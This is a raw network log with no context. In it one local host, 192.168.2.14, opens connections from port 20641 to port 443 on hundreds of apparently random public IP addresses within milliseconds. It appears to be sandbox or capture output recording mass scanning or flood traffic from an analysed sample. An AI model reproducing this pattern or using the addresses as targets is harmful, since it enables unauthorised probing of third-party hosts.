Oct 17, 2024 02:19:44.132785082 CEST	20641	443	192.168.2.14	5.243.229.11
Oct 17, 2024 02:19:44.132782936 CEST	20641	443	192.168.2.14	94.2.55.178
Oct 17, 2024 02:19:44.132785082 CEST	20641	443	192.168.2.14	5.63.30.159
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	178.170.63.24
Oct 17, 2024 02:19:44.132785082 CEST	20641	443	192.168.2.14	94.50.136.91
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	117.200.59.175
Oct 17, 2024 02:19:44.132785082 CEST	20641	443	192.168.2.14	37.76.171.129
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	42.16.229.181
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	42.35.92.79
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	94.41.171.237
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	212.11.42.161
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	79.209.83.229
Oct 17, 2024 02:19:44.132785082 CEST	20641	443	192.168.2.14	118.192.62.17
Oct 17, 2024 02:19:44.132782936 CEST	20641	443	192.168.2.14	212.13.242.138
Oct 17, 2024 02:19:44.132785082 CEST	20641	443	192.168.2.14	118.229.119.104
Oct 17, 2024 02:19:44.132782936 CEST	20641	443	192.168.2.14	2.19.218.86
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	148.149.65.222
Oct 17, 2024 02:19:44.132782936 CEST	20641	443	192.168.2.14	178.114.170.109
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	148.191.145.80
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	42.202.24.116
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	117.38.119.73
Oct 17, 2024 02:19:44.132817030 CEST	20641	443	192.168.2.14	118.65.19.197
Oct 17, 2024 02:19:44.132817030 CEST	20641	443	192.168.2.14	118.200.225.155
Oct 17, 2024 02:19:44.132850885 CEST	20641	443	192.168.2.14	123.21.50.251
Oct 17, 2024 02:19:44.132850885 CEST	20641	443	192.168.2.14	118.37.186.241
Oct 17, 2024 02:19:44.132850885 CEST	20641	443	192.168.2.14	37.106.45.213
Oct 17, 2024 02:19:44.132852077 CEST	20641	443	192.168.2.14	212.112.54.217
Oct 17, 2024 02:19:44.132852077 CEST	20641	443	192.168.2.14	178.147.212.166
Oct 17, 2024 02:19:44.132857084 CEST	20641	443	192.168.2.14	212.159.150.37
Oct 17, 2024 02:19:44.132858992 CEST	20641	443	192.168.2.14	178.63.116.215
Oct 17, 2024 02:19:44.132858038 CEST	20641	443	192.168.2.14	37.114.148.32
Oct 17, 2024 02:19:44.132857084 CEST	20641	443	192.168.2.14	148.22.144.177
Oct 17, 2024 02:19:44.132858992 CEST	20641	443	192.168.2.14	148.185.4.172
Oct 17, 2024 02:19:44.132860899 CEST	20641	443	192.168.2.14	37.15.155.246
Oct 17, 2024 02:19:44.132863045 CEST	20641	443	192.168.2.14	109.149.133.232
Oct 17, 2024 02:19:44.132860899 CEST	20641	443	192.168.2.14	123.153.86.131
Oct 17, 2024 02:19:44.132862091 CEST	20641	443	192.168.2.14	148.46.254.24
Oct 17, 2024 02:19:44.132858992 CEST	20641	443	192.168.2.14	5.9.101.89
Oct 17, 2024 02:19:44.132863045 CEST	20641	443	192.168.2.14	210.77.215.63
Oct 17, 2024 02:19:44.132857084 CEST	20641	443	192.168.2.14	37.121.15.46
Oct 17, 2024 02:19:44.132858992 CEST	20641	443	192.168.2.14	118.251.188.17
Oct 17, 2024 02:19:44.132857084 CEST	20641	443	192.168.2.14	109.173.177.76
Oct 17, 2024 02:19:44.132863045 CEST	20641	443	192.168.2.14	79.239.26.245
Oct 17, 2024 02:19:44.132860899 CEST	20641	443	192.168.2.14	5.200.112.111
Oct 17, 2024 02:19:44.132862091 CEST	20641	443	192.168.2.14	5.215.140.7
Oct 17, 2024 02:19:44.132857084 CEST	20641	443	192.168.2.14	178.29.51.54
Oct 17, 2024 02:19:44.132860899 CEST	20641	443	192.168.2.14	118.91.107.215
Oct 17, 2024 02:19:44.132863045 CEST	20641	443	192.168.2.14	210.98.51.37
Oct 17, 2024 02:19:44.132858038 CEST	20641	443	192.168.2.14	117.153.148.229
Oct 17, 2024 02:19:44.132860899 CEST	20641	443	192.168.2.14	148.196.104.129
Oct 17, 2024 02:19:44.132863045 CEST	20641	443	192.168.2.14	118.118.190.129
Oct 17, 2024 02:19:44.132860899 CEST	20641	443	192.168.2.14	148.227.31.105
Oct 17, 2024 02:19:44.132858038 CEST	20641	443	192.168.2.14	148.14.26.64
Oct 17, 2024 02:19:44.132860899 CEST	20641	443	192.168.2.14	123.152.157.94
Oct 17, 2024 02:19:44.132863045 CEST	20641	443	192.168.2.14	117.101.98.33
Oct 17, 2024 02:19:44.132863045 CEST	20641	443	192.168.2.14	37.242.75.242
Oct 17, 2024 02:19:44.132863045 CEST	20641	443	192.168.2.14	210.111.191.134
Oct 17, 2024 02:19:44.132884979 CEST	20641	443	192.168.2.14	210.24.126.133
Oct 17, 2024 02:19:44.132936954 CEST	20641	443	192.168.2.14	148.5.68.0
Oct 17, 2024 02:19:44.132936954 CEST	20641	443	192.168.2.14	178.27.214.166
Oct 17, 2024 02:19:44.132936954 CEST	20641	443	192.168.2.14	118.238.101.152
Oct 17, 2024 02:19:44.132936954 CEST	20641	443	192.168.2.14	42.7.113.38
Oct 17, 2024 02:19:44.132936954 CEST	20641	443	192.168.2.14	117.218.241.90
Oct 17, 2024 02:19:44.132936954 CEST	20641	443	192.168.2.14	109.99.212.186
Oct 17, 2024 02:19:44.132936954 CEST	20641	443	192.168.2.14	79.235.207.109
Oct 17, 2024 02:19:44.132936954 CEST	20641	443	192.168.2.14	123.161.152.255
Oct 17, 2024 02:19:44.132939100 CEST	20641	443	192.168.2.14	37.41.120.195
Oct 17, 2024 02:19:44.132939100 CEST	20641	443	192.168.2.14	37.246.172.3
Oct 17, 2024 02:19:44.132939100 CEST	20641	443	192.168.2.14	123.12.83.114
Oct 17, 2024 02:19:44.132941961 CEST	20641	443	192.168.2.14	212.129.55.48
Oct 17, 2024 02:19:44.132941961 CEST	20641	443	192.168.2.14	123.130.143.246
Oct 17, 2024 02:19:44.132942915 CEST	20641	443	192.168.2.14	2.8.141.3
Oct 17, 2024 02:19:44.132941961 CEST	20641	443	192.168.2.14	94.125.172.10
Oct 17, 2024 02:19:44.132942915 CEST	20641	443	192.168.2.14	178.176.23.74
Oct 17, 2024 02:19:44.132942915 CEST	20641	443	192.168.2.14	118.109.164.253
Oct 17, 2024 02:19:44.132944107 CEST	20641	443	192.168.2.14	117.75.18.45
Oct 17, 2024 02:19:44.132941961 CEST	20641	443	192.168.2.14	2.65.160.77
Oct 17, 2024 02:19:44.132944107 CEST	20641	443	192.168.2.14	178.249.40.196
Oct 17, 2024 02:19:44.132946968 CEST	20641	443	192.168.2.14	42.103.130.51
Oct 17, 2024 02:19:44.132941961 CEST	20641	443	192.168.2.14	2.254.59.205
Oct 17, 2024 02:19:44.132944107 CEST	20641	443	192.168.2.14	42.26.92.203
Oct 17, 2024 02:19:44.132941961 CEST	20641	443	192.168.2.14	2.240.166.124
Oct 17, 2024 02:19:44.132942915 CEST	20641	443	192.168.2.14	37.251.149.13
Oct 17, 2024 02:19:44.132941961 CEST	20641	443	192.168.2.14	2.183.75.194
Oct 17, 2024 02:19:44.132942915 CEST	20641	443	192.168.2.14	5.4.90.110
Oct 17, 2024 02:19:44.132946968 CEST	20641	443	192.168.2.14	79.181.178.255
Oct 17, 2024 02:19:44.132946968 CEST	20641	443	192.168.2.14	79.95.178.154
Oct 17, 2024 02:19:44.132946968 CEST	20641	443	192.168.2.14	118.200.206.67
Oct 17, 2024 02:19:44.132946968 CEST	20641	443	192.168.2.14	117.203.202.1
Oct 17, 2024 02:19:44.132956982 CEST	20641	443	192.168.2.14	212.174.149.250
Oct 17, 2024 02:19:44.132956982 CEST	20641	443	192.168.2.14	37.66.116.209
Oct 17, 2024 02:19:44.132956982 CEST	20641	443	192.168.2.14	94.52.20.41
Oct 17, 2024 02:19:44.132975101 CEST	20641	443	192.168.2.14	212.132.48.246
Oct 17, 2024 02:19:44.132976055 CEST	20641	443	192.168.2.14	178.239.185.205
Oct 17, 2024 02:19:44.132975101 CEST	20641	443	192.168.2.14	202.171.95.123
Oct 17, 2024 02:19:44.132976055 CEST	20641	443	192.168.2.14	148.206.199.66
Oct 17, 2024 02:19:44.132975101 CEST	20641	443	192.168.2.14	123.89.105.98
Oct 17, 2024 02:19:44.132976055 CEST	20641	443	192.168.2.14	2.77.16.90
Oct 17, 2024 02:19:44.132976055 CEST	20641	443	192.168.2.14	178.166.199.17
Oct 17, 2024 02:19:44.132977962 CEST	20641	443	192.168.2.14	123.107.64.109
Oct 17, 2024 02:19:44.132978916 CEST	20641	443	192.168.2.14	42.96.27.3
Oct 17, 2024 02:19:44.132980108 CEST	20641	443	192.168.2.14	2.34.252.52
Oct 17, 2024 02:19:44.132978916 CEST	20641	443	192.168.2.14	212.51.71.66
Oct 17, 2024 02:19:44.132980108 CEST	20641	443	192.168.2.14	5.60.117.211
Oct 17, 2024 02:19:44.132978916 CEST	20641	443	192.168.2.14	202.172.129.39
Oct 17, 2024 02:19:44.132980108 CEST	20641	443	192.168.2.14	123.107.139.198
Oct 17, 2024 02:19:44.132981062 CEST	20641	443	192.168.2.14	117.17.33.140
Oct 17, 2024 02:19:44.132981062 CEST	20641	443	192.168.2.14	178.208.71.21
Oct 17, 2024 02:19:44.132981062 CEST	20641	443	192.168.2.14	148.4.243.134
Oct 17, 2024 02:19:44.132978916 CEST	20641	443	192.168.2.14	118.105.105.183
Oct 17, 2024 02:19:44.132981062 CEST	20641	443	192.168.2.14	2.65.91.21
Oct 17, 2024 02:19:44.132980108 CEST	20641	443	192.168.2.14	117.181.136.169
Oct 17, 2024 02:19:44.132981062 CEST	20641	443	192.168.2.14	212.178.233.212
Oct 17, 2024 02:19:44.132981062 CEST	20641	443	192.168.2.14	117.99.33.68
Oct 17, 2024 02:19:44.132981062 CEST	20641	443	192.168.2.14	148.81.151.162
Oct 17, 2024 02:19:44.132980108 CEST	20641	443	192.168.2.14	109.21.37.134
Oct 17, 2024 02:19:44.132978916 CEST	20641	443	192.168.2.14	94.194.151.101
Oct 17, 2024 02:19:44.132980108 CEST	20641	443	192.168.2.14	212.180.52.137
Oct 17, 2024 02:19:44.132980108 CEST	20641	443	192.168.2.14	94.47.63.168
Oct 17, 2024 02:19:44.132980108 CEST	20641	443	192.168.2.14	148.254.41.249
Oct 17, 2024 02:19:44.133004904 CEST	20641	443	192.168.2.14	109.101.133.182
Oct 17, 2024 02:19:44.133004904 CEST	20641	443	192.168.2.14	37.94.243.63
Oct 17, 2024 02:19:44.133004904 CEST	20641	443	192.168.2.14	2.104.195.88
Oct 17, 2024 02:19:44.133008003 CEST	20641	443	192.168.2.14	118.72.72.27
Oct 17, 2024 02:19:44.133008003 CEST	20641	443	192.168.2.14	42.164.193.34
Oct 17, 2024 02:19:44.133008003 CEST	20641	443	192.168.2.14	117.179.148.175
Oct 17, 2024 02:19:44.133008957 CEST	20641	443	192.168.2.14	117.66.113.14
Oct 17, 2024 02:19:44.133009911 CEST	20641	443	192.168.2.14	148.232.81.109
Oct 17, 2024 02:19:44.133008003 CEST	20641	443	192.168.2.14	42.58.143.43
Oct 17, 2024 02:19:44.133011103 CEST	20641	443	192.168.2.14	94.112.46.154
Oct 17, 2024 02:19:44.133009911 CEST	20641	443	192.168.2.14	109.226.96.245
Oct 17, 2024 02:19:44.133008003 CEST	20641	443	192.168.2.14	202.89.252.145
Oct 17, 2024 02:19:44.133009911 CEST	20641	443	192.168.2.14	5.249.89.145
Oct 17, 2024 02:19:44.133008957 CEST	20641	443	192.168.2.14	178.222.110.5
Oct 17, 2024 02:19:44.133009911 CEST	20641	443	192.168.2.14	118.179.72.115
Oct 17, 2024 02:19:44.133014917 CEST	20641	443	192.168.2.14	118.141.242.125
Oct 17, 2024 02:19:44.133009911 CEST	20641	443	192.168.2.14	2.140.102.112
Oct 17, 2024 02:19:44.133009911 CEST	20641	443	192.168.2.14	118.16.146.147
Oct 17, 2024 02:19:44.133008957 CEST	20641	443	192.168.2.14	2.195.252.66
Oct 17, 2024 02:19:44.133011103 CEST	20641	443	192.168.2.14	123.90.117.215
Oct 17, 2024 02:19:44.133008957 CEST	20641	443	192.168.2.14	2.57.79.68
Oct 17, 2024 02:19:44.133019924 CEST	20641	443	192.168.2.14	178.138.103.139
Oct 17, 2024 02:19:44.133011103 CEST	20641	443	192.168.2.14	42.148.191.149
Oct 17, 2024 02:19:44.133018017 CEST	20641	443	192.168.2.14	2.172.180.220
Oct 17, 2024 02:19:44.133019924 CEST	20641	443	192.168.2.14	5.209.11.142
Oct 17, 2024 02:19:44.133025885 CEST	20641	443	192.168.2.14	123.167.156.146
Oct 17, 2024 02:19:44.133024931 CEST	20641	443	192.168.2.14	109.247.141.221
Oct 17, 2024 02:19:44.133019924 CEST	20641	443	192.168.2.14	178.91.187.20
Oct 17, 2024 02:19:44.133019924 CEST	20641	443	192.168.2.14	123.248.40.252
Oct 17, 2024 02:19:44.133028030 CEST	20641	443	192.168.2.14	123.67.148.95
Oct 17, 2024 02:19:44.133028030 CEST	20641	443	192.168.2.14	94.130.4.34
Oct 17, 2024 02:19:44.133028030 CEST	20641	443	192.168.2.14	178.109.161.28
Oct 17, 2024 02:19:44.133033037 CEST	20641	443	192.168.2.14	123.208.21.214
Oct 17, 2024 02:19:44.133033037 CEST	20641	443	192.168.2.14	210.244.255.20
Oct 17, 2024 02:19:44.133033037 CEST	20641	443	192.168.2.14	210.142.195.99
Oct 17, 2024 02:19:44.133035898 CEST	20641	443	192.168.2.14	42.109.134.98
Oct 17, 2024 02:19:44.133045912 CEST	20641	443	192.168.2.14	109.74.154.55
Oct 17, 2024 02:19:44.133059978 CEST	20641	443	192.168.2.14	178.182.183.155
Oct 17, 2024 02:19:44.133060932 CEST	20641	443	192.168.2.14	118.207.193.159
Oct 17, 2024 02:19:44.133078098 CEST	20641	443	192.168.2.14	79.87.16.3
Oct 17, 2024 02:19:44.133078098 CEST	20641	443	192.168.2.14	210.175.136.193
Oct 17, 2024 02:19:44.133079052 CEST	20641	443	192.168.2.14	117.195.198.85
Oct 17, 2024 02:19:44.133085012 CEST	20641	443	192.168.2.14	5.155.95.174
Oct 17, 2024 02:19:44.133085966 CEST	20641	443	192.168.2.14	109.210.96.28
Oct 17, 2024 02:19:44.133105040 CEST	20641	443	192.168.2.14	117.236.212.119
Oct 17, 2024 02:19:44.133107901 CEST	20641	443	192.168.2.14	2.48.234.37
Oct 17, 2024 02:19:44.133114100 CEST	20641	443	192.168.2.14	2.200.108.64
Oct 17, 2024 02:19:44.133127928 CEST	20641	443	192.168.2.14	42.237.4.211
Oct 17, 2024 02:19:44.133127928 CEST	20641	443	192.168.2.14	202.17.62.147
Oct 17, 2024 02:19:44.133131027 CEST	20641	443	192.168.2.14	37.203.67.3
Oct 17, 2024 02:19:44.133147955 CEST	20641	443	192.168.2.14	178.53.46.156
Oct 17, 2024 02:19:44.133150101 CEST	20641	443	192.168.2.14	37.201.152.102
Oct 17, 2024 02:19:44.133163929 CEST	20641	443	192.168.2.14	2.105.50.68
Oct 17, 2024 02:19:44.133163929 CEST	20641	443	192.168.2.14	2.184.60.196
Oct 17, 2024 02:19:44.133163929 CEST	20641	443	192.168.2.14	178.82.67.21
Oct 17, 2024 02:19:44.133163929 CEST	20641	443	192.168.2.14	94.178.232.147
Oct 17, 2024 02:19:44.133164883 CEST	20641	443	192.168.2.14	148.7.173.68
Oct 17, 2024 02:19:44.133164883 CEST	20641	443	192.168.2.14	148.184.113.157
Oct 17, 2024 02:19:44.133164883 CEST	20641	443	192.168.2.14	212.144.26.4
Oct 17, 2024 02:19:44.133187056 CEST	20641	443	192.168.2.14	42.244.0.159
Oct 17, 2024 02:19:44.133188009 CEST	20641	443	192.168.2.14	94.96.57.7
Oct 17, 2024 02:19:44.133189917 CEST	20641	443	192.168.2.14	5.86.163.151
Oct 17, 2024 02:19:44.133191109 CEST	20641	443	192.168.2.14	94.246.89.47
Oct 17, 2024 02:19:44.133202076 CEST	20641	443	192.168.2.14	42.26.146.116
Oct 17, 2024 02:19:44.133214951 CEST	20641	443	192.168.2.14	212.61.146.119
Oct 17, 2024 02:19:44.133215904 CEST	20641	443	192.168.2.14	94.30.187.43
Oct 17, 2024 02:19:44.133214951 CEST	20641	443	192.168.2.14	210.49.199.227
Oct 17, 2024 02:19:44.133234024 CEST	20641	443	192.168.2.14	5.171.85.5
Oct 17, 2024 02:19:44.133234024 CEST	20641	443	192.168.2.14	109.70.228.27
Oct 17, 2024 02:19:44.133245945 CEST	20641	443	192.168.2.14	178.132.3.69
Oct 17, 2024 02:19:44.133245945 CEST	20641	443	192.168.2.14	37.85.188.181
Oct 17, 2024 02:19:44.133256912 CEST	20641	443	192.168.2.14	202.98.141.146
Oct 17, 2024 02:19:44.133256912 CEST	20641	443	192.168.2.14	117.82.234.45
Oct 17, 2024 02:19:44.133264065 CEST	20641	443	192.168.2.14	94.155.235.12
Oct 17, 2024 02:19:44.133264065 CEST	20641	443	192.168.2.14	148.41.201.20
Oct 17, 2024 02:19:44.133264065 CEST	20641	443	192.168.2.14	2.111.4.47
Oct 17, 2024 02:19:44.133270979 CEST	20641	443	192.168.2.14	123.254.171.111
Oct 17, 2024 02:19:44.133275032 CEST	20641	443	192.168.2.14	212.107.60.28
Oct 17, 2024 02:19:44.133282900 CEST	20641	443	192.168.2.14	117.124.43.244
Oct 17, 2024 02:19:44.133289099 CEST	20641	443	192.168.2.14	123.198.217.165
Oct 17, 2024 02:19:44.133296967 CEST	20641	443	192.168.2.14	212.107.52.240
Oct 17, 2024 02:19:44.133308887 CEST	20641	443	192.168.2.14	79.169.153.33
Oct 17, 2024 02:19:44.133311987 CEST	20641	443	192.168.2.14	37.196.41.215
Oct 17, 2024 02:19:44.133313894 CEST	20641	443	192.168.2.14	148.66.163.76
Oct 17, 2024 02:19:44.133318901 CEST	20641	443	192.168.2.14	178.77.105.174
Oct 17, 2024 02:19:44.133328915 CEST	20641	443	192.168.2.14	210.11.222.214
Oct 17, 2024 02:19:44.133332968 CEST	20641	443	192.168.2.14	79.204.240.154
Oct 17, 2024 02:19:44.133337975 CEST	20641	443	192.168.2.14	94.115.151.210
Oct 17, 2024 02:19:44.133344889 CEST	20641	443	192.168.2.14	178.86.118.110
Oct 17, 2024 02:19:44.133346081 CEST	20641	443	192.168.2.14	94.202.236.23
Oct 17, 2024 02:19:44.133358955 CEST	20641	443	192.168.2.14	178.28.173.110
Oct 17, 2024 02:19:44.133358955 CEST	20641	443	192.168.2.14	5.82.53.28
Oct 17, 2024 02:19:44.133358955 CEST	20641	443	192.168.2.14	94.81.139.39
Oct 17, 2024 02:19:44.133374929 CEST	20641	443	192.168.2.14	5.136.165.102
Oct 17, 2024 02:19:44.133375883 CEST	20641	443	192.168.2.14	123.9.27.40
Oct 17, 2024 02:19:44.133393049 CEST	20641	443	192.168.2.14	178.220.251.75
Oct 17, 2024 02:19:44.133393049 CEST	20641	443	192.168.2.14	42.31.67.233
Oct 17, 2024 02:19:44.133394003 CEST	20641	443	192.168.2.14	2.36.240.58
Oct 17, 2024 02:19:44.133394003 CEST	20641	443	192.168.2.14	37.189.161.59
Oct 17, 2024 02:19:44.133408070 CEST	20641	443	192.168.2.14	202.40.77.203
Oct 17, 2024 02:19:44.133414030 CEST	20641	443	192.168.2.14	117.93.200.69
Oct 17, 2024 02:19:44.133414030 CEST	20641	443	192.168.2.14	94.85.38.157
Oct 17, 2024 02:19:44.133419991 CEST	20641	443	192.168.2.14	123.101.148.140
Oct 17, 2024 02:19:44.133431911 CEST	20641	443	192.168.2.14	118.63.182.80
Oct 17, 2024 02:19:44.133441925 CEST	20641	443	192.168.2.14	94.228.203.16
Oct 17, 2024 02:19:44.133443117 CEST	20641	443	192.168.2.14	123.249.178.162
Oct 17, 2024 02:19:44.133449078 CEST	20641	443	192.168.2.14	118.31.116.152
Oct 17, 2024 02:19:44.133452892 CEST	20641	443	192.168.2.14	109.21.239.57
Oct 17, 2024 02:19:44.133467913 CEST	20641	443	192.168.2.14	79.55.208.173
Oct 17, 2024 02:19:44.133469105 CEST	20641	443	192.168.2.14	118.115.193.98
Oct 17, 2024 02:19:44.133481026 CEST	20641	443	192.168.2.14	117.226.98.2
Oct 17, 2024 02:19:44.133481979 CEST	20641	443	192.168.2.14	118.208.117.175
Oct 17, 2024 02:19:44.133481026 CEST	20641	443	192.168.2.14	2.110.86.82
Oct 17, 2024 02:19:44.133481979 CEST	20641	443	192.168.2.14	148.15.81.178
Oct 17, 2024 02:19:44.133481979 CEST	20641	443	192.168.2.14	2.15.200.43
Oct 17, 2024 02:19:44.133487940 CEST	20641	443	192.168.2.14	109.135.108.214
Oct 17, 2024 02:19:44.133490086 CEST	20641	443	192.168.2.14	109.205.229.167
Oct 17, 2024 02:19:44.133490086 CEST	20641	443	192.168.2.14	118.176.117.89
Oct 17, 2024 02:19:44.133502960 CEST	20641	443	192.168.2.14	202.240.185.196
Oct 17, 2024 02:19:44.133506060 CEST	20641	443	192.168.2.14	37.220.15.86
Oct 17, 2024 02:19:44.133522034 CEST	20641	443	192.168.2.14	212.133.73.2
Oct 17, 2024 02:19:44.133524895 CEST	20641	443	192.168.2.14	212.20.129.183
Oct 17, 2024 02:19:44.133524895 CEST	20641	443	192.168.2.14	178.42.99.190
Oct 17, 2024 02:19:44.133528948 CEST	20641	443	192.168.2.14	2.35.127.1
Oct 17, 2024 02:19:44.133533955 CEST	20641	443	192.168.2.14	94.84.53.52
Oct 17, 2024 02:19:44.133544922 CEST	20641	443	192.168.2.14	123.184.250.75
Oct 17, 2024 02:19:44.133557081 CEST	20641	443	192.168.2.14	123.77.161.93
Oct 17, 2024 02:19:44.133558035 CEST	20641	443	192.168.2.14	202.30.53.154
Oct 17, 2024 02:19:44.133563042 CEST	20641	443	192.168.2.14	123.56.130.148
Oct 17, 2024 02:19:44.133578062 CEST	20641	443	192.168.2.14	79.113.77.17
Oct 17, 2024 02:19:44.133578062 CEST	20641	443	192.168.2.14	178.105.81.52
Oct 17, 2024 02:19:44.133589983 CEST	20641	443	192.168.2.14	212.220.17.136
Oct 17, 2024 02:19:44.133590937 CEST	20641	443	192.168.2.14	42.19.244.151
Oct 17, 2024 02:19:44.133589983 CEST	20641	443	192.168.2.14	94.177.225.58
Oct 17, 2024 02:19:44.133598089 CEST	20641	443	192.168.2.14	148.70.150.180
Oct 17, 2024 02:19:44.133605957 CEST	20641	443	192.168.2.14	79.141.51.95
Oct 17, 2024 02:19:44.133605957 CEST	20641	443	192.168.2.14	94.167.122.6
Oct 17, 2024 02:19:44.133610010 CEST	20641	443	192.168.2.14	109.127.157.47
Oct 17, 2024 02:19:44.133614063 CEST	20641	443	192.168.2.14	148.190.118.241
Oct 17, 2024 02:19:44.133615017 CEST	20641	443	192.168.2.14	2.44.137.62
Oct 17, 2024 02:19:44.133615017 CEST	20641	443	192.168.2.14	178.155.21.76
Oct 17, 2024 02:19:44.133630991 CEST	20641	443	192.168.2.14	178.110.189.26
Oct 17, 2024 02:19:44.133630991 CEST	20641	443	192.168.2.14	79.138.16.83
Oct 17, 2024 02:19:44.133631945 CEST	20641	443	192.168.2.14	79.193.75.197
Oct 17, 2024 02:19:44.133634090 CEST	20641	443	192.168.2.14	94.248.38.255
Oct 17, 2024 02:19:44.133654118 CEST	20641	443	192.168.2.14	117.69.66.189
Oct 17, 2024 02:19:44.133662939 CEST	20641	443	192.168.2.14	123.42.14.237
Oct 17, 2024 02:19:44.133671999 CEST	20641	443	192.168.2.14	5.167.143.224
Oct 17, 2024 02:19:44.133678913 CEST	20641	443	192.168.2.14	42.0.176.82
Oct 17, 2024 02:19:44.133687019 CEST	20641	443	192.168.2.14	94.87.235.113
Oct 17, 2024 02:19:44.133687019 CEST	20641	443	192.168.2.14	178.197.202.182
Oct 17, 2024 02:19:44.133693933 CEST	20641	443	192.168.2.14	5.39.168.48
Oct 17, 2024 02:19:44.133699894 CEST	20641	443	192.168.2.14	202.29.90.199
Oct 17, 2024 02:19:44.133699894 CEST	20641	443	192.168.2.14	94.110.33.248
Oct 17, 2024 02:19:44.133702993 CEST	20641	443	192.168.2.14	37.54.243.236
Oct 17, 2024 02:19:44.133708000 CEST	20641	443	192.168.2.14	94.132.183.229
Oct 17, 2024 02:19:44.133708000 CEST	20641	443	192.168.2.14	79.7.206.115
Oct 17, 2024 02:19:44.133708000 CEST	20641	443	192.168.2.14	2.61.38.30
Oct 17, 2024 02:19:44.133721113 CEST	20641	443	192.168.2.14	202.27.28.104
Oct 17, 2024 02:19:44.133722067 CEST	20641	443	192.168.2.14	94.83.248.138
Oct 17, 2024 02:19:44.133733988 CEST	20641	443	192.168.2.14	2.242.33.102
Oct 17, 2024 02:19:44.133744955 CEST	20641	443	192.168.2.14	94.17.71.72
Oct 17, 2024 02:19:44.133744955 CEST	20641	443	192.168.2.14	37.81.219.231
Oct 17, 2024 02:19:44.133754969 CEST	20641	443	192.168.2.14	202.42.48.163
Oct 17, 2024 02:19:44.133764982 CEST	20641	443	192.168.2.14	118.139.21.160
Oct 17, 2024 02:19:44.133765936 CEST	20641	443	192.168.2.14	37.146.101.165
Oct 17, 2024 02:19:44.133764982 CEST	20641	443	192.168.2.14	118.145.112.153
Oct 17, 2024 02:19:44.133773088 CEST	20641	443	192.168.2.14	37.192.135.40
Oct 17, 2024 02:19:44.133773088 CEST	20641	443	192.168.2.14	2.217.235.116
Oct 17, 2024 02:19:44.133790970 CEST	20641	443	192.168.2.14	123.43.66.112
Oct 17, 2024 02:19:44.133794069 CEST	20641	443	192.168.2.14	109.22.77.126
Oct 17, 2024 02:19:44.133799076 CEST	20641	443	192.168.2.14	148.143.54.174
Oct 17, 2024 02:19:44.133831978 CEST	20641	443	192.168.2.14	42.122.24.195
Oct 17, 2024 02:19:44.133831978 CEST	20641	443	192.168.2.14	118.0.214.49
Oct 17, 2024 02:19:44.133831978 CEST	20641	443	192.168.2.14	42.30.206.69
Oct 17, 2024 02:19:44.133831978 CEST	20641	443	192.168.2.14	118.229.82.169
Oct 17, 2024 02:19:44.133835077 CEST	20641	443	192.168.2.14	42.151.235.183
Oct 17, 2024 02:19:44.133836031 CEST	20641	443	192.168.2.14	178.210.247.185
Oct 17, 2024 02:19:44.133846045 CEST	20641	443	192.168.2.14	42.211.95.128
Oct 17, 2024 02:19:44.133846998 CEST	20641	443	192.168.2.14	109.101.28.122
Oct 17, 2024 02:19:44.133846998 CEST	20641	443	192.168.2.14	42.70.116.202
Oct 17, 2024 02:19:44.133863926 CEST	20641	443	192.168.2.14	37.47.238.226
Oct 17, 2024 02:19:44.133866072 CEST	20641	443	192.168.2.14	42.25.239.244
Oct 17, 2024 02:19:44.133877039 CEST	20641	443	192.168.2.14	148.39.240.111
Oct 17, 2024 02:19:44.133879900 CEST	20641	443	192.168.2.14	117.124.90.111
Oct 17, 2024 02:19:44.133879900 CEST	20641	443	192.168.2.14	117.142.211.22
Oct 17, 2024 02:19:44.133887053 CEST	20641	443	192.168.2.14	42.137.190.201
Oct 17, 2024 02:19:44.133892059 CEST	20641	443	192.168.2.14	148.215.158.20
Oct 17, 2024 02:19:44.133892059 CEST	20641	443	192.168.2.14	178.66.217.150
Oct 17, 2024 02:19:44.133902073 CEST	20641	443	192.168.2.14	37.74.157.29
Oct 17, 2024 02:19:44.133907080 CEST	20641	443	192.168.2.14	123.250.231.98
Oct 17, 2024 02:19:44.133909941 CEST	20641	443	192.168.2.14	2.125.205.58
Oct 17, 2024 02:19:44.133935928 CEST	20641	443	192.168.2.14	94.69.115.231
Oct 17, 2024 02:19:44.133935928 CEST	20641	443	192.168.2.14	5.229.201.123
Oct 17, 2024 02:19:44.133936882 CEST	20641	443	192.168.2.14	212.62.146.168
Oct 17, 2024 02:19:44.133939028 CEST	20641	443	192.168.2.14	210.213.121.58
Oct 17, 2024 02:19:44.133939028 CEST	20641	443	192.168.2.14	79.207.130.65
Oct 17, 2024 02:19:44.133939981 CEST	20641	443	192.168.2.14	123.63.215.14
Oct 17, 2024 02:19:44.133958101 CEST	20641	443	192.168.2.14	148.55.51.34
Oct 17, 2024 02:19:44.133960009 CEST	20641	443	192.168.2.14	109.251.40.158
Oct 17, 2024 02:19:44.133968115 CEST	20641	443	192.168.2.14	37.31.38.118
Oct 17, 2024 02:19:44.133972883 CEST	20641	443	192.168.2.14	37.135.170.108
Oct 17, 2024 02:19:44.133972883 CEST	20641	443	192.168.2.14	123.171.30.124
Oct 17, 2024 02:19:44.133987904 CEST	20641	443	192.168.2.14	202.200.185.117
Oct 17, 2024 02:19:44.133996010 CEST	20641	443	192.168.2.14	202.177.231.239
Oct 17, 2024 02:19:44.134011030 CEST	20641	443	192.168.2.14	94.63.164.224
Oct 17, 2024 02:19:44.134011030 CEST	20641	443	192.168.2.14	5.222.132.136
Oct 17, 2024 02:19:44.134011030 CEST	20641	443	192.168.2.14	94.61.125.198
Oct 17, 2024 02:19:44.134012938 CEST	20641	443	192.168.2.14	148.135.11.181
Oct 17, 2024 02:19:44.134013891 CEST	20641	443	192.168.2.14	118.75.16.52
Oct 17, 2024 02:19:44.134021044 CEST	20641	443	192.168.2.14	118.186.217.222
Oct 17, 2024 02:19:44.134021044 CEST	20641	443	192.168.2.14	202.16.226.194
Oct 17, 2024 02:19:44.134031057 CEST	20641	443	192.168.2.14	178.140.67.16
